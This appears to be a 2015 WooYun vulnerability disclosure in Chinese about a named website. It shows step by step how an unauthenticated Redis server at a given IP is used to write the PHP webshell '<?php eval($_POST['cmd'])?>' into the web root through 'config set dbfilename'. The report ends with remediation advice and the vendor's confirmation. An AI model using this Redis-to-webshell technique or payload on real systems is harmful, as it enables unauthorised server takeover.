漏洞概要 关注数(24) 关注此漏洞
>
漏洞详情
披露状态:
2015-04-03: 细节已通知厂商并且等待厂商处理中
2015-04-07: 厂商已经确认,细节仅向厂商公开
2015-04-17: 细节向核心白帽子及相关领域专家公开
2015-04-27: 细节向普通白帽子公开
2015-05-07: 细节向实习白帽子公开
2015-05-22: 细节向公众公开
简要描述:
如题,最近这么多redis默认端口不加密的
详细说明:
站点:
http://app.shenchuang.com
1.phpinfo:
http://app.shenchuang.com/info.php
由上图可以看到该站在服务器上的对应路径。
2.redis未认证:
[kali@ ~]# redis-cli -h 121.14.127.101 ping
PONG
3.结合上面看到的web目录,写入webshell。
redis 121.14.127.101:6379> INFO
# Server
redis_version:2.6.12
....
os:Linux 2.6.18-308.el5 x86_64
arch_bits:64
...
# Memory
used_memory:856272
used_memory_human:836.20K
used_memory_rss:1859584
used_memory_peak:954848
used_memory_peak_human:932.47K
...
4.可见key也不会多,那么直接搞起了
redis 121.14.127.101:6379> config set dbfilename hd.php
OK
redis 121.14.127.101:6379> set k "<?php eval($_POST['cmd'])?>"
OK
redis 121.14.127.101:6379> save
OK
5.浏览器访问webshell地址
可以看到成功写入webshell了,那就上中国菜刀了
漏洞证明:
修复方案:
1.redis端口不直接对外,加认证,修改默认端口;
2.web站点删除php_info之类的敏感信息。
版权声明:转载请注明来源 路人甲@乌云
>
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:15
确认时间:2015-04-07 14:50
厂商回复:
非常感谢您的报告。
报告中的问题已确认并复现.
影响的数据:高
攻击成本:低
造成影响:高
综合评级为:高,rank:15
正在联系相关网站管理单位处置。
最新状态:
暂无